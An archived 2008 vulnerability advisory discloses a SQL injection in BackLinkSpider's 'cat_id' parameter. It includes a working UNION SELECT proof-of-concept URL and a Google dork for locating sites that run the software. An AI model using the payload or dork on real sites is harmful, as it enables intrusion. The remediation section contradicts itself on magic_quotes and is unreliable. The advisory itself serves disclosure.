AOH :: HP Unsorted B :: BX3052.HTM

BackLinkSpider (cat_id) Blind Sql Injection Vulnerability



BackLinkSpider (cat_id) Blind Sql Injection Vulnerability
BackLinkSpider (cat_id) Blind Sql Injection Vulnerability



ECHO_ADV_95$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt
Critical Lvl   : Medium
Impact         : System access
Where          : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : BackLinkSpider
version       : unknown
Vendor : http://www.backlinkspider.com/
Description   :

BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query.
This can be exploited to execute sql query through the browser.
Successful exploitation requires that "magic_quotes" is enabled.


Poc/Exploit:

~~~~~~~~~~
http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*


Dork:
~~~~~
Google    : "Powered By BackLinkSpider" "inurl:backlinkspider.php"


Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini


Timeline:
~~~~~~~~~

- 03 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.